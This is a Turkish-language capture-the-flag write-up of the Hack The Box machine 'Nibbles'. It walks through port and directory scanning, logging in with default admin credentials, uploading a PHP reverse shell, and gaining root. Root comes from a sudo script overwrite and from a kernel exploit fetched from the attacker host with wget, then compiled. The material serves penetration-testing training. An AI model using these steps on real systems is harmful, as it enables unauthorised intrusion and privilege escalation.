Hack The Box — Nibbles
Port Tarama
Hedef sistem üzerinde ilk olarak açık portların tespiti için full port taraması gerçekleştirilir.
Full Port Tarama
nmap -p- — open -vvv 10.10.10.75 -oN fullportscan
Açık olan portlar;
22/tcp80/tcp
Ardından açık olduğu tespit edilen portlar üzerinde bulunan hizmetlere ait detayların tespiti için versiyon ve script taraması gerçekleştirilir.
Versiyon Tarama
nmap -p 22,80 -sV -sC -vvv 10.10.10.75 -oN versionscan
Bilgi Toplama
Port 80
İlgili adresi tarayıcı üzerinden ziyaret ettiğimizde aşağıda ekran görüntüsü verilen sayfa ile karşılaşılmaktadır.
Ardından ilgili adrese “curl” aracı ile istek gerçekleştirilerek sunucudan dönen yanıt incelenerek “/nibbleblog/” dizininin varlığı tespit edilebilir.
curl -i http://10.10.10.75/
İlgili dizine tarayıcı üzerinden gittiğimizde aşağıda ekran görüntüsü verilen sayfa ile karşılaşılmaktadır. Bu sayfada aşağıda kırmızı kutu içerisine alınan “Powered by Nibbleblog” yazısı için daha sonra zafiyet varlığı kontrol edilebilir.
Öncelikle “gobuster” aracı ile ilgili blog başlığı altında dizin taraması gerçekleştirilir. Bunun için aşağıdaki komut kullanılabilir.
gobuster -u http://10.10.10.75/nibbleblog/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -s ‘200,204,301,302,307,403,500’ -e -o gobuster
Dizin tarama işlemi sonrası yukarıda verilen dizinler tespit edilmiştir. İlgili dizinlerin içerikleri sıra ile kontrol edilebilir.
“admin” dizini altına gidildiğinde blog uygulamasına ait admin paneli tespit edilmiştir.
http://10.10.10.75/nibbleblog/admin.php
İlgili dizinlerin içeriği kontrol edildiğinde “content” dizininin dizin listelemeye açık olduğu tespit edilmiş ve ilgili dizine ait içerikler kontrol edilerek “email, username ve IP” gibi bilgi ifşalarına rastlanmıştır.
“README” dizininin altı kontrol edildiğinde blog’a ait versiyon bilgisi tespit edilebilir.
İlgili blog versiyonu için tespit edilen zafiyetler aşağıdaki gibidir.
Burada ilgili zafiyetin google üzerinden dorklar ile aranması ve içeriğinin görüntülenmesine ait ekran görüntüsü aşağıda verilmiştir.
Exploit içeriği incelendiğinde kimlik doğrulama gerektirdiği gözlemlenmektedir. Bununla beraber ilgili zafiyetin manuel istismarına ait detaylar aşağıdaki linklerde detaylı olarak anlatılmıştır.
- https://github.com/BuddhaLabs/PacketStorm-Exploits/blob/master/1301-exploits/nibbleblog-shell.txt
- https://curesec.com/blog/article/blog/NibbleBlog-403-Code-Execution-47.html
Zafiyetin İstismarı
Login paneline gerçekleştirilen default username/password denemeleri sonucu panel için kimlik bilgilerinin “admin/nibbles” olduğu tespit edilmiştir.
Söz konusu zafiyet kontrol edildiğinde zafiyetin istimarı için hazır olarak Metasploit modülü bulunduğu gözlemlenebilir. İlgili modül bilgisi aşağıda verilecektir ancak bu makale için manuel olarak çözüm gerçekleştirilecektir.
Metasploit Modülü
exploit/multi/http/nibbleblog_file_upload
Manuel
İlk olarak Kali üzerinde “/usr/share/laudanum/php/” dizini altında bulunan “php-reverse-shell.php” dosyasının içeriğini düzenleyerek hedef sisteme atıyoruz.
cp /usr/share/laudanum/php/php-reverse-shell.php .
Dosya içeriğinin düzenlenmesi ve görüntülenmesine ait ekran görüntüleri aşağıda verilmiştir.
nano php-reverse-shell.phpcat php-reverse-shell.php
İlk olarak dinleyici başlatılır. Ardından hedef sisteme yüklediğimiz reverse shell tarayıcı üzerinden çağırılır.
Dosyanın hedef sisteme yüklendiğine dair ekran görüntüsü aşağıda verilmiştir.
Yüklenen dosyanın varlığının tespitine ait ekran görüntüsü aşağıda verilmiştir. Bu aşamada “image.php” dosyasına tıklayarak yüklediğimiz shell’ imizi çağırıyoruz.
Hedef sistem üzerinde oturum elde edilmesine ait ekran görüntüsü aşağıda verilmiştir.
Oturum elde ettikten sonra “user.txt” dosyasının içeriğinin görüntülenmesine ait ekran görüntüsü aşağıda verilmiştir.
Ardından hedef sistem üzerinde “/tmp” dizini altına geçilir ve saldırgan sistemden “LinEnum.sh” scripti hedef sisteme indirilir.
Bunun için saldırgan sistem üzerinde HTTP sunucu başlatılır.
python -m SimpleHTTPServer 80
Hedef sistem üzerinde “wget” aracının varlığı tespit edilir ve aşağıdaki komut ile hedef sisteme script indirilir. Script’e çalışma yetkisi verilir ve ardından script çalıştırılır.
Çıktıyı incelediğimizde iki nokta göze çarpmaktadır. Birincisi “monitor.sh” scriptinin sudo haklarıyla parola gerekmeksizin çalıştırılabildiği, diğeri ise kernel versiyonunun zafiyet barındırmasıdır.
İlgili ekran görüntüleri aşağıda verilmiştir.
Yetki Yükseltme
Sudo
“monitor.sh” scriptini kullanarak yetki yükseltme işlemi gerçekleştirilmek istenildiğinde ilgili scriptin bulunduğu dizine gitmeye çalışılırken aşağıdaki hata ile karşılaşılmaktadır.
Bunun sebebi “personel.zip” dosyasının sıkıştırılmış dosya olması ve “monitor.sh” scriptinin bu dosya içerisinde yer almasıdır. İlgili dosya “unzip” komutu ile açılabilir.
unzip personal.zip
“monitor.sh” dosyasının içeriğini aşağıdaki şekilde güncellenir ve script sudo hakları ile çalıştırılarak hedef sistem üzerinde yetki yükseltme işlemi gerçekleştirilir.
echo “/bin/sh -i” > monitor.shcat monitor.shsudo ./monitor.shid
Kernel
Kali üzerindeki “searchsploit” aracı kullanılarak ilgili kernel versiyonunun barındırdığı zafiyetler listelenir.
searchsploit “Linux Kernel 4.4.0”
Söz konusu exploit hedef sisteme atılır. Hedef üzerinde “gcc” derleyicinin varlığı tespit edilir. Ardından script derlenir ve çalıştırılır.
Exploit’i hedef sisteme yükleyebilmek adına ilk olarak saldırgan sistem üzerinde python ile HTTP sunucu başlatılır.
python -m SimpleHTTPServer 80
Ardından ilgili exploit hedef sisteme indirilir. İlgili ekran görüntüsü aşağıda verilmiştir.
wget http://10.10.14.20/44298.c
Daha sonra exploit derlenip çalıştırılarak hedef sistem üzerinde yetki yükseltme işlemi gerçekleştirilir.
which gccgcc -o kernel-exploit 44298.c./kernel-exploit
Son olarak “root.txt” dosyasının içeriğinin görüntülenmesine ait ekran görüntüsü aşağıda verilmiştir.
💃💃